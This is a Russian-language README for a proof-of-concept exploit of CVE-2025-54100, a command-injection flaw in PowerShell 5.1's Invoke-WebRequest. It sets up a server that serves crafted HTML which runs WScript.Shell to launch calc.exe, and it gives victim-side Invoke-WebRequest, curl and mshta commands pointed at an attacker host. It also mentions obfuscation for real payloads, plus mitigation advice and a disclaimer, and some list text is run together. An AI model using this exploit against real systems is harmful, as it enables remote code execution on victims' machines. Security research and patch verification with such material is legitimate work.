
CVE-2025-54100 (CVSS 7.8 High) — уязвимость внедрения команд в командлете Invoke-WebRequest в Windows PowerShell 5.1. Она возникает из-за некорректной нейтрализации специальных элементов при автоматическом разборе веб-ответов.
Краткий Proof-of-Concept, демонстрирующий, как CVE-2025-54100 может привести к удалённому выполнению кода (RCE) в Windows PowerShell 5.1 через вредоносный разбор HTML.
Invoke-WebRequest, когда не используется -UseBasicParsingActiveXObject) в контексте вызывающего.CVE-2025-54100.py отдаёт специально сформированную HTML-нагрузку.WScript.Shell / Shell.Application.calc.exe.python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Запустите HTTP-сервер PoC:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
Выполните эти команды на уязвимой Windows-машине без -UseBasicParsing:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
Используйте тот же порт, который вы указали при настройке сервера. При наличии уязвимости встроенный скрипт выполняется через парсер MSHTML. Некоторые антивирусные продукты могут блокировать такое поведение, несмотря на наличие проблемы разбора.
Если calc.exe не появляется:
Invoke-WebRequest без -UseBasicParsing.Это демонстрирует вектор выполнения. Реальные вредоносные нагрузки могут использовать обфускацию или дополнительные обходные пути, чтобы обойти ограничения по умолчанию.

Microsoft исправила проблему в декабре 2025 года:
-UseBasicParsing, чтобы избежать разбора MSHTML:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] Только для образовательных целей и авторизованного тестирования. Используйте ответственно и соблюдайте все применимые законы. Авторы не несут ответственности за неправомерное использование или ущерб.